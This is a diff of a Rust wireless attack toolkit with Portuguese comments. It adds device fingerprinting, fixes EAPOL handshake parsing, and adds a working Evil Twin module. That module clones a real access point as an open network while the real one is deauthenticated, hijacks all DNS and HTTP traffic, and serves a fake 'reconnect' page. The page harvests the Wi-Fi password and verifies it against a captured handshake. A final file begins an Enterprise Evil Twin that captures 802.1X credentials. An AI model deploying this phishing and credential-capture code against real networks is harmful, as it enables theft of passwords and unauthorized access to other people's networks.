if let Some(os) = os_from_text(value) {
info.os = Some(os);
}
if let Some(device) = device_from_text(value) {
info.device = Some(device);
}
if let Some(manufacturer) = manufacturer_from_text(value) {
info.manufacturer = Some(manufacturer);
}
info.model = info.model.take().or_else(|| {
value
.split_whitespace()
.find(|part| part.contains('/') && !part.contains("UPnP"))
.map(str::to_string)
});
}
"ST" | "NT" => {
let lower = value.to_ascii_lowercase();
if let Some(device) = device_from_service(&lower) {
info.device = Some(device);
}
info.service = info
.service
.take()
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
}
_ => {}
}
}
}
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
let text = String::from_utf8_lossy(data);
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
return;
}
for line in text.lines().take(64) {
let Some((key, value)) = line.split_once(':') else {
continue;
};
let key = key.trim().to_ascii_lowercase();
let value = value.trim();
match key.as_str() {
"user-agent" | "server" => {
if let Some(os) = os_from_text(value) {
info.os = Some(os);
}
if let Some(device) = device_from_text(value) {
info.device = Some(device);
}
}
"host" if info.hostname.is_none() => {
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
}
_ => {}
}
}
}
pub(crate) fn os_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
{
"Windows 10/11"
} else if s.contains("windows") || s.contains("microsoft") {
"Windows"
} else if s.contains("ipados") || s.contains("ipad") {
"iPadOS"
} else if s.contains("iphone")
|| s.contains("ios")
|| s.contains("darwin") && s.contains("mobile")
{
"iOS"
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
"macOS"
} else if s.contains("android") {
"Android"
} else if s.contains("cros") || s.contains("chromeos") {
"ChromeOS"
} else if s.contains("tizen") {
"Tizen"
} else if s.contains("webos") {
"webOS"
} else if s.contains("roku") {
"Roku OS"
} else if s.contains("linux")
|| s.contains("ubuntu")
|| s.contains("debian")
|| s.contains("raspbian")
{
"Linux"
} else {
return None;
};
Some(os.to_string())
}
pub(crate) fn device_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let device = if s.contains("iphone")
|| s.contains("galaxy")
|| s.contains("pixel")
|| s.contains("redmi")
|| s.contains("smartphone")
|| s.contains("phone")
|| s.contains("moto ")
{
"smartphone"
} else if s.contains("ipad") || s.contains("tablet") {
"tablet"
} else if s.contains("macbook")
|| s.contains("thinkpad")
|| s.contains("laptop")
|| s.contains("notebook")
{
"laptop"
} else if s.contains("printer")
|| s.contains("laserjet")
|| s.contains("officejet")
|| s.contains("mfc-")
{
"impressora"
} else if s.contains("chromecast")
|| s.contains("appletv")
|| s.contains("fire tv")
|| s.contains("firetv")
|| s.contains("roku")
|| s.contains("smart tv")
|| s.contains("bravia")
|| s.contains("tv")
{
"TV/streaming"
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
"câmera"
} else if s.contains("watch") {
"wearable"
} else if s.contains("echo")
|| s.contains("alexa")
|| s.contains("google home")
|| s.contains("nest")
{
"assistente"
} else if s.contains("raspberry") {
"SBC"
} else if s.contains("esp32")
|| s.contains("esp8266")
|| s.contains("shelly")
|| s.contains("sonoff")
|| s.contains("tuya")
{
"IoT"
} else if s.contains("desktop")
|| s.contains("laptop")
|| s.contains("windows")
|| s.contains("pc")
{
"computador"
} else {
return None;
};
Some(device.to_string())
}
fn device_from_service(service: &str) -> Option<String> {
let s = service.to_ascii_lowercase();
let device = if s.contains("_airplay")
|| s.contains("_raop")
|| s.contains("_googlecast")
|| s.contains("_spotify-connect")
{
"TV/streaming"
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
"impressora"
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
"computador"
} else if s.contains("_homekit") || s.contains("_hap") {
"IoT"
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
"servidor"
} else {
return None;
};
Some(device.to_string())
}
fn manufacturer_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let name = if s.contains("apple") {
"Apple"
} else if s.contains("samsung") {
"Samsung"
} else if s.contains("microsoft") || s.contains("windows") {
"Microsoft"
} else if s.contains("google") {
"Google"
} else if s.contains("sony") {
"Sony"
} else if s.contains("lg electronics") || s.starts_with("lg ") {
"LG"
} else if s.contains("roku") {
"Roku"
} else if s.contains("huawei") {
"Huawei"
} else if s.contains("xiaomi") {
"Xiaomi"
} else if s.contains("synology") {
"Synology"
} else if s.contains("raspberry") {
"Raspberry Pi"
} else {
return None;
};
Some(name.to_string())
}
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
Security::Open
}
fn add_phy(phy: &mut Vec<String>, value: &str) {
if !phy.iter().any(|p| p == value) {
phy.push(value.to_string());
}
}
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
if val.len() < 6 {
return;
}
let version = u16::from_be_bytes([val[4], val[5]]);
info.wps_version = Some(match version {
0x10 => "1.0".into(),
0x11 => "2.0".into(),
other => format!("0x{other:04x}"),
});
let mut pos = 6usize;
while pos + 4 <= val.len() {
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
let start = pos + 4;
if start + len > val.len() {
break;
}
let data = &val[start..start + len];
let text = || String::from_utf8_lossy(data).trim().to_string();
match attr {
0x1011 => info.wps_device_name = Some(text()),
0x1021 => info.wps_manufacturer = Some(text()),
0x1023 => info.wps_model = Some(text()),
0x1024 => info.wps_model_number = Some(text()),
0x1042 => info.wps_serial = Some(text()),
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
_ => {}
}
pos = start + len;
}
}
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
if val.len() < 8 {
return None;
@@ -665,6 +1361,116 @@ mod tests {
assert!(parsed.eapol().is_none());
}
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
let mut f = Vec::new();
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&mac(0x11)); // addr1 = AP
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
f.extend_from_slice(&mac(0x11)); // addr3 = AP
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
f.extend_from_slice(&ethertype.to_be_bytes());
f.extend_from_slice(payload);
f
}
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
data_with_ethertype(0x0800, payload)
}
#[test]
fn extracts_ip_from_arp() {
let mut arp = Vec::new();
arp.extend_from_slice(&1u16.to_be_bytes());
arp.extend_from_slice(&0x0800u16.to_be_bytes());
arp.push(6);
arp.push(4);
arp.extend_from_slice(&1u16.to_be_bytes());
arp.extend_from_slice(&mac(0x22));
arp.extend_from_slice(&[192, 168, 1, 42]);
arp.extend_from_slice(&[0u8; 6]);
arp.extend_from_slice(&[192, 168, 1, 1]);
let frame = data_with_ethertype(0x0806, &arp);
let parsed = parse(&frame).expect("frame");
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
}
#[test]
fn extracts_hostname_and_os_from_mdns() {
let mut dns = vec![0u8; 12];
dns[5] = 1; // qdcount
for label in ["Lucass-iPhone", "local"] {
dns.push(label.len() as u8);
dns.extend_from_slice(label.as_bytes());
}
dns.push(0);
dns.extend_from_slice(&1u16.to_be_bytes());
dns.extend_from_slice(&1u16.to_be_bytes());
let mut udp = Vec::new();
udp.extend_from_slice(&5353u16.to_be_bytes());
udp.extend_from_slice(&5353u16.to_be_bytes());
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
udp.extend_from_slice(&[0u8; 2]);
udp.extend_from_slice(&dns);
let mut ip = vec![0x45, 0];
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
ip.extend_from_slice(&[0u8; 5]);
ip.push(17);
ip.extend_from_slice(&[0u8; 2]);
ip.extend_from_slice(&[192, 168, 1, 7]);
ip.extend_from_slice(&[224, 0, 0, 251]);
ip.extend_from_slice(&udp);
let frame = data_with_payload(&ip);
let parsed = parse(&frame).expect("frame");
let info = parsed.payload_info();
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
assert_eq!(info.os.as_deref(), Some("iOS"));
assert_eq!(info.device.as_deref(), Some("smartphone"));
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
}
#[test]
fn extracts_hostname_and_requested_ip_from_dhcp() {
let mut bootp = vec![0u8; 240];
bootp[0] = 1;
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
bootp.extend_from_slice(&[53, 1, 3]);
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
bootp.extend_from_slice(&[12, 7]);
bootp.extend_from_slice(b"pixel-7");
bootp.extend_from_slice(&[60, 15]);
bootp.extend_from_slice(b"android-dhcp-13");
bootp.push(255);
let mut udp = Vec::new();
udp.extend_from_slice(&68u16.to_be_bytes());
udp.extend_from_slice(&67u16.to_be_bytes());
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
udp.extend_from_slice(&[0u8; 2]);
udp.extend_from_slice(&bootp);
let mut ip = vec![0x45, 0];
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
ip.extend_from_slice(&[0u8; 5]);
ip.push(17);
ip.extend_from_slice(&[0u8; 2]);
ip.extend_from_slice(&[0, 0, 0, 0]);
ip.extend_from_slice(&[255, 255, 255, 255]);
ip.extend_from_slice(&udp);
let frame = data_with_payload(&ip);
let parsed = parse(&frame).expect("frame");
let info = parsed.payload_info();
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
assert_eq!(info.os.as_deref(), Some("Android"));
assert_eq!(info.device.as_deref(), Some("smartphone"));
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
}
#[test]
fn parses_mac_strings() {
assert_eq!(
+40 -7
View File
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
if descriptor_type != 2 && descriptor_type != 254 {
return None;
}
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
// fazia praticamente todo handshake real cair em message=0, descartado
// silenciosamente — só não aparecia nos testes porque o gerador de
// quadro sintético cometia o mesmo engano, simetricamente.
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
let key_version = (key_info & 0x0007) as u8;
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
let ack = key_info & KEY_INFO_ACK != 0;
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
0
};
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
let mut nonce = [0u8; 32];
nonce.copy_from_slice(&frame[17..49]);
let mut mic_bytes = [0u8; 16];
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
if data_end > frame.len() {
return None;
@@ -144,14 +151,14 @@ mod tests {
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2; // RSN descriptor
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
*b = i as u8;
}
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -176,6 +183,32 @@ mod tests {
}
}
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
/// codificação do parser): confere que um quadro Mensagem 1 real — key
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
/// É exatamente o valor citado pela documentação de ferramentas de
/// quebra de WPA pra mensagem 1 com CCMP.
#[test]
fn parses_real_wire_message1_key_info_as_big_endian() {
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
frame[0] = 2; // versão EAPOL
frame[1] = EAPOL_TYPE_KEY;
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
frame[4] = 2; // descritor RSN
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
frame[17..49].fill(0xaa); // nonce
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
assert_eq!(parsed.message, 1);
assert_eq!(parsed.key_version, 2);
assert!(parsed.pairwise);
assert_eq!(parsed.replay_counter, 1);
}
#[test]
fn extracts_pmkid_from_key_data() {
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
File diff suppressed because it is too large. Load diff
+472
View File
@@ -0,0 +1,472 @@
//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
//! verdade por uma página de "reconectar", como qualquer portal cativo de
//! hotel/aeroporto faz.
//!
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
//! graça**. É conferida na hora contra o handshake real já capturado
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
//! de verdade com a rede. Isso também evita que a página vire um jeito de
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
//!
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
//! explícita das outras abas de ataque.
use crate::crack::CrackTarget;
use std::fmt::Write as _;
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
/// SSID certo, sem perguntar nada ao usuário.
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "driver=nl80211");
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
let _ = writeln!(out, "channel={channel}");
let _ = writeln!(out, "auth_algs=1");
let _ = writeln!(out, "wmm_enabled=1");
let _ = writeln!(out, "ignore_broadcast_ssid=0");
if let Some(bssid) = bssid {
let _ = writeln!(out, "bssid={bssid}");
}
out
}
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
/// abrir sozinho no dispositivo da vítima).
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "bind-interfaces");
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
let _ = writeln!(out, "no-resolv");
out
}
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
let redirect = |proto: &str, dport: u16| {
vec![
"-t".into(),
"nat".into(),
"-A".into(),
"PREROUTING".into(),
"-i".into(),
iface.into(),
"-p".into(),
proto.into(),
"--dport".into(),
dport.to_string(),
"-j".into(),
"REDIRECT".into(),
"--to-port".into(),
portal_port.to_string(),
]
};
vec![redirect("tcp", 80)]
}
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
iptables_rules(iface, portal_port)
.into_iter()
.map(|mut rule| {
if let Some(a) = rule.iter_mut().find(|a| *a == "-A") {
*a = "-D".into();
}
rule
})
.collect()
}
fn sanitize_conf_value(value: &str) -> String {
// hostapd.conf não escapa valores — corta quebra de linha, que seria
// injeção de outra diretiva de config.
value.replace(['\n', '\r'], "")
}
/// Resultado de uma tentativa de login no portal.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PortalAttempt {
/// Senha bateu com o handshake real — confirmado criptograficamente,
/// não é só "aceitar o que a pessoa digitou".
Correct,
WrongPassword,
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
InvalidLength,
}
/// Confere a senha submetida no portal contra o handshake real do alvo —
/// mesma verificação criptográfica usada na quebra por dicionário
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
/// cativo legítimo faria com uma senha errada.
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
if !(8..=63).contains(&password.len()) {
return PortalAttempt::InvalidLength;
}
if target.verify(password) {
PortalAttempt::Correct
} else {
PortalAttempt::WrongPassword
}
}
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
/// de "reconectar à rede", sem imitar nenhuma marca específica.
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
let notice = if wrong_password {
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
} else {
""
};
format!(
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Conectar à rede</title>
<style>
body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;display:flex;
align-items:center;justify-content:center;min-height:100vh;margin:0}}
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}
h1{{font-size:18px;margin:0 0 6px}}
p.sub{{color:#999;font-size:13px;margin:0 0 18px}}
p.err{{color:#ff6961;font-size:13px}}
input{{width:100%;box-sizing:border-box;padding:12px;border-radius:10px;border:0;
background:#2c2c2e;color:#eee;font-size:15px;margin-bottom:12px}}
button{{width:100%;padding:12px;border-radius:10px;border:0;background:#f59e0b;
color:#1f1300;font-weight:600;font-size:15px}}
</style></head><body>
<form class="card" method="post" action="/connect">
<h1>Reconectar a &ldquo;{ssid}&rdquo;</h1>
<p class="sub">A sessão expirou. Digite a senha da rede Wi-Fi pra continuar conectado.</p>
{notice}
<input type="password" name="password" placeholder="Senha da rede" autofocus required minlength="8" maxlength="63">
<button type="submit">Conectar</button>
</form>
</body></html>"#,
ssid = html_escape(ssid),
notice = notice,
)
}
pub fn portal_success_html(ssid: &str) -> String {
format!(
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Conectado</title>
<style>body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;
display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;text-align:center}}
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}</style>
</head><body><div class="card"><h1>Conectado</h1><p>Você já está conectado a &ldquo;{ssid}&rdquo;.</p></div></body></html>"#,
ssid = html_escape(ssid),
)
}
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
/// página de login, o que também satisfaz a detecção de portal cativo do
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
/// virar true, ou o accept falhar.
#[cfg(target_os = "linux")]
pub fn run_portal(
listener: std::net::TcpListener,
ssid: &str,
target: &CrackTarget,
stop: &std::sync::atomic::AtomicBool,
mut on_attempt: impl FnMut(PortalAttempt),
) -> Option<String> {
use std::sync::atomic::Ordering;
use std::time::Duration;
listener.set_nonblocking(true).ok();
loop {
if stop.load(Ordering::Relaxed) {
return None;
}
match listener.accept() {
Ok((stream, _)) => {
if let Some(password) = handle_connection(stream, ssid, target, &mut on_attempt) {
return Some(password);
}
}
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(80));
}
Err(_) => return None,
}
}
}
#[cfg(target_os = "linux")]
fn handle_connection(
mut stream: std::net::TcpStream,
ssid: &str,
target: &CrackTarget,
on_attempt: &mut impl FnMut(PortalAttempt),
) -> Option<String> {
use std::io::{Read, Write};
stream
.set_read_timeout(Some(std::time::Duration::from_secs(5)))
.ok();
let mut buf = vec![0u8; 8192];
let mut total = 0usize;
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
// que um navegador manda pra um form simples.
loop {
let n = stream.read(&mut buf[total..]).ok()?;
if n == 0 {
break;
}
total += n;
if buf[..total].windows(4).any(|w| w == b"\r\n\r\n") || total >= buf.len() {
break;
}
}
let request = String::from_utf8_lossy(&buf[..total]);
let mut lines = request.lines();
let request_line = lines.next().unwrap_or("");
let mut parts = request_line.split_whitespace();
let method = parts.next().unwrap_or("GET");
let path = parts.next().unwrap_or("/");
let mut content_length = 0usize;
for line in request.lines() {
if let Some(v) = line
.to_ascii_lowercase()
.strip_prefix("content-length:")
.map(str::trim)
.and_then(|v| v.parse::<usize>().ok())
{
content_length = v;
}
}
let mut found_password = None;
let body = if method == "POST" && path.starts_with("/connect") {
let header_end = request.find("\r\n\r\n").map(|i| i + 4).unwrap_or(total);
let body_bytes = &buf[header_end..total.min(header_end + content_length)];
let form = String::from_utf8_lossy(body_bytes);
let password = form_value(&form, "password").unwrap_or_default();
let attempt = check_submission(target, &password);
on_attempt(attempt.clone());
match attempt {
PortalAttempt::Correct => {
found_password = Some(password);
portal_success_html(ssid)
}
PortalAttempt::WrongPassword | PortalAttempt::InvalidLength => {
portal_login_html(ssid, true)
}
}
} else {
portal_login_html(ssid, false)
};
let response = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(response.as_bytes());
found_password
}
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
/// crate de parsing de formulário por causa disso).
fn form_value(body: &str, key: &str) -> Option<String> {
body.split('&').find_map(|pair| {
let (k, v) = pair.split_once('=')?;
if k == key {
Some(url_decode(v))
} else {
None
}
})
}
fn url_decode(s: &str) -> String {
let bytes = s.as_bytes();
let mut out = Vec::with_capacity(bytes.len());
let mut i = 0;
while i < bytes.len() {
match bytes[i] {
b'+' => {
out.push(b' ');
i += 1;
}
b'%' if i + 2 < bytes.len() => {
let hex = std::str::from_utf8(&bytes[i + 1..i + 3]).ok();
if let Some(byte) = hex.and_then(|h| u8::from_str_radix(h, 16).ok()) {
out.push(byte);
i += 3;
} else {
out.push(bytes[i]);
i += 1;
}
}
b => {
out.push(b);
i += 1;
}
}
}
String::from_utf8_lossy(&out).into_owned()
}
fn html_escape(s: &str) -> String {
s.replace('&', "&amp;")
.replace('<', "&lt;")
.replace('>', "&gt;")
.replace('"', "&quot;")
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hostapd_conf_includes_required_fields_and_strips_newlines() {
let conf = hostapd_conf("wlan1", "Rede\nMaliciosa", 6, Some("aa:bb:cc:dd:ee:ff"));
assert!(conf.contains("interface=wlan1"));
assert!(conf.contains("ssid=RedeMaliciosa"));
assert!(!conf.contains("ssid=Rede\nMaliciosa"));
assert!(conf.contains("channel=6"));
assert!(conf.contains("hw_mode=g"));
assert!(conf.contains("bssid=aa:bb:cc:dd:ee:ff"));
}
#[test]
fn hostapd_conf_picks_5ghz_mode_above_channel_14() {
let conf = hostapd_conf("wlan1", "Rede5G", 149, None);
assert!(conf.contains("hw_mode=a"));
assert!(!conf.contains("bssid="));
}
#[test]
fn dnsmasq_conf_hijacks_every_domain_to_the_gateway() {
let conf = dnsmasq_conf("wlan1", "10.0.0.1", ("10.0.0.10", "10.0.0.200"));
assert!(conf.contains("address=/#/10.0.0.1"));
assert!(conf.contains("dhcp-range=10.0.0.10,10.0.0.200,12h"));
assert!(conf.contains("no-resolv"));
}
#[test]
fn iptables_rules_redirect_http_to_the_portal_port() {
let rules = iptables_rules("wlan1", 8080);
assert_eq!(rules.len(), 1);
assert!(rules[0].contains(&"REDIRECT".to_string()));
assert!(rules[0].contains(&"8080".to_string()));
assert!(rules[0].contains(&"80".to_string()));
}
#[test]
fn cleanup_rules_mirror_add_rules_with_delete_flag() {
let add = iptables_rules("wlan1", 8080);
let del = iptables_cleanup_rules("wlan1", 8080);
assert_eq!(add.len(), del.len());
assert!(add[0].contains(&"-A".to_string()));
assert!(del[0].contains(&"-D".to_string()));
assert!(!del[0].contains(&"-A".to_string()));
}
fn sample_target(password: &str) -> CrackTarget {
use crate::testutil::{handshake_frames, synthetic_handshake};
let (m1, m2) = handshake_frames("RedeAlvo", password, 2, false);
let hs = synthetic_handshake(
"RedeAlvo",
"00:11:22:33:44:55",
"66:77:88:99:aa:bb",
&m1,
&m2,
);
CrackTarget::from_handshake(&hs).expect("alvo")
}
#[test]
fn check_submission_only_accepts_the_real_password() {
let target = sample_target("senha-verdadeira");
assert_eq!(
check_submission(&target, "senha-verdadeira"),
PortalAttempt::Correct
);
assert_eq!(
check_submission(&target, "chute-qualquer"),
PortalAttempt::WrongPassword
);
assert_eq!(
check_submission(&target, "curta"),
PortalAttempt::InvalidLength
);
}
#[test]
fn portal_server_rejects_wrong_password_then_accepts_the_real_one() {
use std::io::{Read, Write};
use std::net::TcpListener;
use std::sync::atomic::AtomicBool;
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
let addr = listener.local_addr().unwrap();
let target = sample_target("senha-real-123");
let stop = AtomicBool::new(false);
let attempts = std::sync::Mutex::new(Vec::new());
let handle = std::thread::spawn(move || {
run_portal(listener, "RedeAlvo", &target, &stop, |a| {
attempts.lock().unwrap().push(a);
})
});
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
std::thread::sleep(std::time::Duration::from_millis(50));
let post = |password: &str| -> String {
let body = format!("password={password}");
let req = format!(
"POST /connect HTTP/1.1\r\nHost: x\r\nContent-Length: {}\r\n\r\n{body}",
body.len()
);
let mut stream = std::net::TcpStream::connect(addr).expect("connect");
stream.write_all(req.as_bytes()).unwrap();
let mut resp = String::new();
stream.read_to_string(&mut resp).unwrap();
resp
};
let wrong = post("senha-errada-aqui");
assert!(wrong.contains("Senha incorreta"));
let right = post("senha-real-123");
assert!(right.contains("Você já está conectado"));
let password = handle.join().unwrap();
assert_eq!(password.as_deref(), Some("senha-real-123"));
}
#[test]
fn portal_pages_escape_ssid_and_render_retry_notice() {
let html = portal_login_html("Rede <script>", true);
assert!(html.contains("Rede &lt;script&gt;"));
assert!(!html.contains("<script>"));
assert!(html.contains("Senha incorreta"));
let clean = portal_login_html("Rede Normal", false);
assert!(!clean.contains("Senha incorreta"));
}
}
@@ -0,0 +1,224 @@
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
//!
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
//! PSK precisa enganar um humano a digitá-la de novo.
//!
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
//! log de credenciais capturadas.
//!
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
//! cadeia de certificado da rede (comum em dispositivos atualizados,
